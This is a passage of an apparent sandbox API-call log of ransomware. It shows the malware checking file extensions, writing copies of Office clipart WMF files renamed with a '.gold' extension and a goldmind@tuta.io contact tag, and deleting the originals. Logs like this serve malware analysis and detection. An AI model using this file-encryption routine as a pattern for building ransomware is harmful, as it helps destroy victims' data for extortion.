(lpString=".ppt") returned 4 [0113.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.827] lstrlenW (lpString=".zip") returned 4 [0113.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.827] lstrlenW (lpString=".rar") returned 4 [0113.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString=".bz2") returned 4 [0113.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString=".7z") returned 3 [0113.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.828] lstrlenW (lpString=".dbf") returned 4 [0113.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.828] lstrlenW (lpString=".1cd") returned 4 [0113.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.828] lstrlenW (lpString=".jpg") returned 4 [0113.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.828] lstrlenW (lpString=".doc") returned 4 [0113.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString=".docx") returned 5 [0113.828] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0113.828] lstrlenW (lpString=".pdf") returned 4 [0113.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString=".xls") returned 4 [0113.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.828] lstrlenW (lpString=".xlsx") returned 5 [0113.828] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0113.828] lstrlenW (lpString=".ppt") returned 4 [0113.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.828] lstrlenW (lpString=".zip") returned 4 [0113.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.828] lstrlenW (lpString=".rar") returned 4 [0113.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString=".bz2") returned 4 [0113.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString=".7z") returned 3 [0113.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.828] lstrlenW (lpString=".dbf") returned 4 [0113.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.828] lstrlenW (lpString=".1cd") returned 4 [0113.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0113.828] lstrlenW (lpString=".jpg") returned 4 [0113.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.828] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.828] lstrlenW (lpString="J0188519.WMF") returned 12 [0113.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.834] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5824) returned 1 [0113.834] CloseHandle (hObject=0x198) returned 1 [0113.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf")) returned 0x20 [0113.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.843] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.844] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.845] GetLastError () returned 0x0 [0113.845] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x16c0, lpOverlapped=0x0) returned 1 [0113.878] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0113.878] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.879] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.879] SetEndOfFile (hFile=0x194) returned 1 [0113.879] CloseHandle (hObject=0x194) returned 1 [0113.879] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.879] SetEndOfFile (hFile=0x3d0) returned 1 [0113.880] CloseHandle (hObject=0x3d0) returned 1 [0113.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf")) returned 1 [0113.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.882] lstrlenW (lpString=".doc") returned 4 [0113.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.882] lstrlenW (lpString=".docx") returned 5 [0113.882] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.882] lstrlenW (lpString=".pdf") returned 4 [0113.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.882] lstrlenW (lpString=".xls") returned 4 [0113.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.882] lstrlenW (lpString=".xlsx") returned 5 [0113.882] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.882] lstrlenW (lpString=".ppt") returned 4 [0113.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.882] lstrlenW (lpString=".zip") returned 4 [0113.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.882] lstrlenW (lpString=".rar") returned 4 [0113.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.882] lstrlenW (lpString=".bz2") returned 4 [0113.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.882] lstrlenW (lpString=".7z") returned 3 [0113.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.882] lstrlenW (lpString=".dbf") returned 4 [0113.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.883] lstrlenW (lpString=".1cd") returned 4 [0113.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.883] lstrlenW (lpString=".jpg") returned 4 [0113.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.883] lstrlenW (lpString=".doc") returned 4 [0113.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.883] lstrlenW (lpString=".docx") returned 5 [0113.883] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.883] lstrlenW (lpString=".pdf") returned 4 [0113.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.883] lstrlenW (lpString=".xls") returned 4 [0113.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.883] lstrlenW (lpString=".xlsx") returned 5 [0113.883] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.883] lstrlenW (lpString=".ppt") returned 4 [0113.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.883] lstrlenW (lpString=".zip") returned 4 [0113.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.883] lstrlenW (lpString=".rar") returned 4 [0113.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.883] lstrlenW (lpString=".bz2") returned 4 [0113.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.883] lstrlenW (lpString=".7z") returned 3 [0113.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.883] lstrlenW (lpString=".dbf") returned 4 [0113.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.883] lstrlenW (lpString=".1cd") returned 4 [0113.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF") returned 63 [0113.883] lstrlenW (lpString=".jpg") returned 4 [0113.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.883] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.883] lstrlenW (lpString="J0195248.WMF") returned 12 [0113.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.884] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=7332) returned 1 [0113.884] CloseHandle (hObject=0x3d0) returned 1 [0113.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf")) returned 0x20 [0113.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.885] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.885] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.886] GetLastError () returned 0x0 [0113.886] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1ca4, lpOverlapped=0x0) returned 1 [0113.904] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0113.906] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.906] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.906] SetEndOfFile (hFile=0x194) returned 1 [0113.906] CloseHandle (hObject=0x194) returned 1 [0113.906] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.906] SetEndOfFile (hFile=0x3d0) returned 1 [0113.908] CloseHandle (hObject=0x3d0) returned 1 [0113.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf")) returned 1 [0113.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.910] lstrlenW (lpString=".doc") returned 4 [0113.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.910] lstrlenW (lpString=".docx") returned 5 [0113.910] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.910] lstrlenW (lpString=".pdf") returned 4 [0113.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.910] lstrlenW (lpString=".xls") returned 4 [0113.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.910] lstrlenW (lpString=".xlsx") returned 5 [0113.910] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.910] lstrlenW (lpString=".ppt") returned 4 [0113.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.910] lstrlenW (lpString=".zip") returned 4 [0113.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.910] lstrlenW (lpString=".rar") returned 4 [0113.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.910] lstrlenW (lpString=".bz2") returned 4 [0113.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.910] lstrlenW (lpString=".7z") returned 3 [0113.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.910] lstrlenW (lpString=".dbf") returned 4 [0113.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.910] lstrlenW (lpString=".1cd") returned 4 [0113.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.910] lstrlenW (lpString=".jpg") returned 4 [0113.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.910] lstrlenW (lpString=".doc") returned 4 [0113.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.910] lstrlenW (lpString=".docx") returned 5 [0113.910] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.910] lstrlenW (lpString=".pdf") returned 4 [0113.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.910] lstrlenW (lpString=".xls") returned 4 [0113.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.910] lstrlenW (lpString=".xlsx") returned 5 [0113.910] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.911] lstrlenW (lpString=".ppt") returned 4 [0113.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.911] lstrlenW (lpString=".zip") returned 4 [0113.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.911] lstrlenW (lpString=".rar") returned 4 [0113.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.911] lstrlenW (lpString=".bz2") returned 4 [0113.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.911] lstrlenW (lpString=".7z") returned 3 [0113.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.911] lstrlenW (lpString=".dbf") returned 4 [0113.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.911] lstrlenW (lpString=".1cd") returned 4 [0113.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0113.911] lstrlenW (lpString=".jpg") returned 4 [0113.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.911] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.911] lstrlenW (lpString="J0195260.WMF") returned 12 [0113.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.912] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8314) returned 1 [0113.912] CloseHandle (hObject=0x3d0) returned 1 [0113.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf")) returned 0x20 [0113.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.913] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.913] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.914] GetLastError () returned 0x0 [0113.914] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x207a, lpOverlapped=0x0) returned 1 [0113.920] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2080, lpOverlapped=0x0) returned 1 [0113.921] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.921] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.921] SetEndOfFile (hFile=0x194) returned 1 [0113.921] CloseHandle (hObject=0x194) returned 1 [0113.922] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.922] SetEndOfFile (hFile=0x3d0) returned 1 [0113.924] CloseHandle (hObject=0x3d0) returned 1 [0113.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf")) returned 1 [0113.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.926] lstrlenW (lpString=".doc") returned 4 [0113.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.926] lstrlenW (lpString=".docx") returned 5 [0113.926] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.926] lstrlenW (lpString=".pdf") returned 4 [0113.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.926] lstrlenW (lpString=".xls") returned 4 [0113.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.926] lstrlenW (lpString=".xlsx") returned 5 [0113.926] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.926] lstrlenW (lpString=".ppt") returned 4 [0113.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.926] lstrlenW (lpString=".zip") returned 4 [0113.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.926] lstrlenW (lpString=".rar") returned 4 [0113.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.926] lstrlenW (lpString=".bz2") returned 4 [0113.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.926] lstrlenW (lpString=".7z") returned 3 [0113.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned 63 [0113.926] lstrlenW (lpString=".dbf") returned 4 [0113.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") 